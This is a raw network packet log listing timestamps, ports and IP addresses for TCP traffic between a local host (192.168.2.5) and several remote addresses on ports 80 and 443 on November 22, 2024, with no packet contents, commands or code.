Nov 22, 2024 23:06:32.162488937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.162561893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.163067102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.163129091 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.163811922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.163872004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.164027929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.164187908 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.165175915 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.165232897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.165256023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.165314913 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.166476011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.166531086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.166834116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.166884899 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.167833090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.167891979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.168342113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.168586969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.169083118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.169137955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.169207096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.169256926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.170439959 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.170520067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.170541048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.170568943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.171761036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.171813965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.172077894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.172132969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.173088074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.173142910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.173418999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.173485994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.174442053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.174494028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.174674034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.174736023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.175736904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.175791979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.175832987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.175898075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.177056074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.177117109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.177340984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.177400112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.178411961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.178469896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.178622961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.178670883 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.179713011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.179765940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.180085897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.180138111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.180986881 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.181042910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.192452908 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.192528009 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.192540884 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.200824022 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.203365088 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.203432083 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.203440905 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.227320910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.227387905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.227402925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.227444887 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.227894068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.227967978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.228147984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.228193045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.228200912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.228250027 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.229494095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.229542017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.229554892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.229587078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.230813026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.230875015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.246633053 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.256735086 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.256982088 CET	49819	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.256998062 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.257467031 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.257812977 CET	49819	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.257940054 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.258281946 CET	49819	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.264895916 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.270119905 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.270170927 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.270181894 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.280499935 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.280556917 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.280565023 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.294015884 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.294090033 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.294101000 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.303344011 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.304533958 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.305221081 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.305242062 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.305696964 CET	49812	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:32.305702925 CET	443	49812	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:32.307921886 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.308006048 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.308013916 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.314140081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.314153910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.314239979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.314416885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.314513922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.314544916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.314585924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.315614939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.315645933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.315654039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.315706968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.316739082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.316751957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.316803932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.317893028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.317907095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.317977905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.318980932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.319045067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.319107056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.319266081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.320204973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.320220947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.320255041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.320276976 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.321366072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.321378946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.321428061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.321470976 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.321532011 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.321538925 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.322434902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.322510958 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.322660923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.322702885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.323720932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.323767900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.323816061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.324732065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.324743032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.324789047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.325881004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.325942039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.326037884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.326159954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.327069998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.327080965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.327194929 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.328150988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.328205109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.328496933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.328552961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.329310894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.329384089 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.329411030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.329440117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.330423117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.330502987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.330540895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.330584049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.331588030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.331640959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.331669092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.331710100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.332710028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.332756996 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.332787037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.333067894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.333832026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.333878994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.334323883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.334572077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.334911108 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.334970951 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.334979057 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.335273981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.335289955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.335334063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.335354090 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.336152077 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.336199045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.336401939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.336477041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.337352991 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.337378025 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.337434053 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.338444948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.338495016 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.338529110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.338763952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.339560032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.339615107 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.339759111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.339838028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.340714931 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.340770960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.340809107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.340861082 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.341898918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.341959953 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.341968060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.342012882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.343012094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.343070030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.343389988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.343450069 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.344142914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.344213963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.344221115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.344274998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.345267057 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.345338106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.345374107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.345576048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.346427917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.346489906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.346616983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.346671104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.347567081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.347618103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.347624063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.347656965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.348741055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.348752975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.348783016 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.348799944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.348826885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.349092007 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.349098921 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.349853039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.349945068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.350060940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.350101948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.350760937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.350836039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.350869894 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.350972891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.351669073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.351707935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.351727009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.351763964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.352552891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.352626085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.352842093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.353008986 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.353457928 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.353588104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.353607893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.353636980 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.354357004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.354408979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.354468107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.354522943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.355235100 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.355443954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.356167078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.356232882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.356246948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.356260061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.356291056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.356317043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.357002974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.357064009 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.357434988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.357487917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.357888937 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.357990026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.358052015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.358094931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.358773947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.358835936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.358974934 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.359039068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.359668970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.359797955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.360307932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.360358000 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.360538960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.360605955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.360616922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.360661983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.361459970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.361515045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.361686945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.361741066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.362384081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.362396955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.362436056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.362452984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.362494946 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.362548113 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.362554073 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.363224030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.363297939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.364159107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.364173889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.364185095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.364243984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.364284039 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.364998102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.365153074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.365205050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.365890026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:32.365961075 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:32.376034975 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.376143932 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.376158953 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.389708996 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.389771938 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.389792919 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.403392076 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.403584957 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.403616905 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.409740925 CET	49823	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.409816980 CET	443	49823	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.409887075 CET	49823	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.410403013 CET	49824	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.410480022 CET	443	49824	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.410597086 CET	49823	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.410619020 CET	49824	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.410648108 CET	443	49823	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.410849094 CET	49824	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.410882950 CET	443	49824	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.417269945 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.417342901 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:32.417356968 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:32.433046103 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.433449984 CET	49820	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.433470011 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.433813095 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:32.434226990 CET	49820	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:32.434293985 CET	443	49820	172.64.41.3	192.168.2.5
